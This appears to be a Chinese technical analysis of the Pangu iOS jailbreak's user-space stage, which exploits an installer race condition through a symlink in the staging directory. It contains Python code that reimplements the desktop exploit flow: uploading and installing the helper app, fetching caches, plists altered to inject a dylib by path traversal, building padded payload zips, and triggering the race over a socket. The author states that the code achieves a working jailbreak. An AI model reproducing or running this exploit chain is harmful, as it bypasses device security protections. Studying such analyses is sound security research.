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盘古越狱工具在用户空间的行为
背景知识
盘古在用户空间主要利用了iOS安装程序的一个漏洞,这里先列出安装一个应用的主要过程:
整个安装过程分为12个阶段,上图只是列出了起点、终点还是对盘古越狱来说比较重要的阶段。大家注意上图红线所示的时间区间,在这个区间内如果在“Staging Directory”中创建一个符号链接指向沙盒之外,就可以利用解压程序向系统目录写入文件。同时也可以通过控制压缩包中的文件列表,在起始处放一个大文件,从而在解压过程中创建一个符号链接。这是在盘古在安装过程中利用的主要漏洞,后面介绍的盘古在用户空间的行为基本都是围绕这个漏洞。
主要的组件
盘古主要由四部分组成,:
1、桌面程序:提供资源,控制越狱流程。
2、com.pangu.ipa1.ipa:Socket Server,与桌面程序配合制造竞态条件。
3、pangu.dylib,Socket Server,利用内核漏洞安装Untecher,Cydia等。
4、pangu.tar,Untecher
这里主要涉及的是前两个组件,及第三个组件中用户空间相关的部分。
工作流程
说明:为了验证自己的分析是正确的,用Python重新实现了盘古桌面程序的功能,利用盘古的Payload可以实现越狱,下面会在主要阶段给出相应示例代码。
阶段一:安装辅助程序,获取相关资源
1、安装com.pangu.ipa1.ipa
def install_pangu(): lockdown = LockdownClient() afc = AFCClient(lockdown) mci = lockdown.startService("com.apple.mobile.installation_proxy") file_name = "com.pangu.ipa1.ipa" afc.set_file_contents("/PublicStaging/" + file_name, open("payload/" + file_name,"rb").read()) mci.sendPlist({"Command":"Install", "PackagePath": "/PublicStaging/" + file_name}) while True: status = mci.recvPlist() if not status: break completion = status.get("PercentComplete") if completion: print "Installing, %s: %s %% Complete" % ("com.pangu.ipa1.ipa", status["PercentComplete"]) if status.get("Status") == "Complete": print "Installation %s\n" % status["Status"] break mci.close() afc.stop_session() lockdown.stop_session()
首先利用AFC服务将IPA传到设备上,然后利用 Installation Proxy 安装应用。
2、获取Cache
def download_caches(): fc = FileRelayClient() data = fc.request_sources(["Caches"]) fc.stop_session() if data: file_path = "./payload/caches.gz" output_path = "./payload/caches" open(file_path,"wb").write(data) print "Data saved to: %s " % file_path with open(file_path, "r") as f: gz = gzip.GzipFile(mode="rb", fileobj=f) cpio = CpioArchive(fileobj=BytesIO(gz.read())) cpio.extract_files(files=None,outpath=output_path) else: print "Fail to get caches" raise Exception("Fail to get caches")
调用 FileRelay 服务,获取Cache,主要是从中拿到 com.apple.mobile.installation.plist
3、修改 com.apple.mobile.installation.plist
修改是针对盘古程序的,具体修改如下:
CFBundleExecutable = "../../../../../../usr/libexec/lockdownd"; EnvironmentVariables = { DYLD_INSERT_LIBRARIES = "/private/var/mobile/Media/Pangu-Install/pangu.dylib"; };
4、修改盘古程序的Info.plist
CFBundleExecutable = "../../../../../../usr/libexec/lockdownd";
5、构造applicationState.plist
{ "com.pangu.ipa1" = { SBApplicationAutoLaunchForVoIP = :true; }; }这个会造成盘古程序在设备重启后自动运行。
6、com.apple.LaunchServices-056.csstore 主要是为了更新程序列表
7、com.apple.backboardd.plist 禁用“看门狗”
基于上述文件盘古会构造三个Payload。
def generate_upgrade_bundle1(): guid_str = get_guid() with ZipFile("./payload/upgrade1.zip", "w") as payload: payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile") payload.write("./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore", "/mobile/Library/Caches/com.apple.LaunchServices-056.csstore") payload.write("./payload/upgrade_bundle/com.apple.mobile.installation.plist", "/mobile/Library/Caches/com.apple.mobile.installation.plist") payload.write("./payload/upgrade_bundle/applicationState.plist", "/mobile/Library/BackBoard/applicationState.plist") payload.write("./payload/upgrade_bundle/com.apple.backboardd.plist", "/mobile/Library/Preferences/com.apple.backboardd.plist") payload.write("./payload/upgrade_bundle/Info.plist", "/mobile/Applications/" + guid_str + "/ipa1.app/Info.plist") def generate_upgrade_bundle2(): # os.remove("./payload/upgrade2.zip") guid_str = get_guid() with ZipFile("./payload/upgrade2.zip", "w") as payload: payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile") payload.write("./payload/upgrade_bundle/com.apple.mobile.installation.plist", "/mobile/Library/Caches/com.apple.mobile.installation.plist") def generate_upgrade_bundle3(): # os.remove("./payload/upgrade3.zip") guid_str = get_guid() with ZipFile("./payload/upgrade3.zip", "w") as payload: payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile") payload.write("./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore", "/mobile/Library/Caches/com.apple.LaunchServices-056.csstore")
这个阶段会知道三个程序升级包,供下一阶段使用。
另外,可以简单的理解为:执行完这个阶段就对应着盘古提示用户在手机上启动程序。
阶段二:利用竞态条件安装文件,构造环境执行pangu.dylib
当用户在手机上启动程序后,手机上的App会启动一个Socket Server,等待桌面程序的握手,这个握手的暗语挺有意思。桌面向App发送:PING,App收到后回应桌面:PONG。在握手完成后,盘古开始利用静态条件将如上构造的三个Payload安装到手机上。
具体过程为首先利用安装服务安装升级包,在安装的过程中桌面向App发送starthook,具体hook的内容可以通过调试App确定是创建一个符号链接:
"/private/var/tmp/install_staging.eP7ZzJ/foo_extracted" ---> "/var/"其中后缀部分会因为每次安装而不同。
示例代码:
def fire_race_condition(lockdown, file_name): mci = lockdown.startService("com.apple.mobile.installation_proxy") sock = get_sock() print "----->PING" sock.send("PING") msg = sock.recv(4) if msg == "PONG": print "<-----PONG\n" upgrade_pangu(mci, file_name) print "----->starthook" sock.send("starthook") msg = sock.recv(4) if msg == "succ": print "<-----success\n" else: print "<-----fail\n"在完成安装三个Payload之后,盘古会上传文件到Media中的 Pangu-Install目录:Cydia.tar、packagelist.tar、pangu.dylib、pangu.tar、pangu_ex.tar
至此,盘古基本完成了用户空间的行为,在界面上的反应为:盘古会重启设备。
阶段三:利用漏洞安装Untecher,Cydia
设备重启完成后,pangu.dylib会被加载,并启动一个 Socket Server。桌面程序在检测到设备加载后会向 pangu.dylib 发送:55AA,pangu.dylib 接到 55AA后开始安装Untecher、Cydia。
阶段四:清理
在pangu.dylib完成工作后,向桌面程序发送:AA55,桌面程序开始清理临时文件,删除Provisional文件,恢复设备时间等操作。在完成清理操作后,桌面程序会第二次重启设备,至此越狱完。
盘古越狱工具在用户空间的行为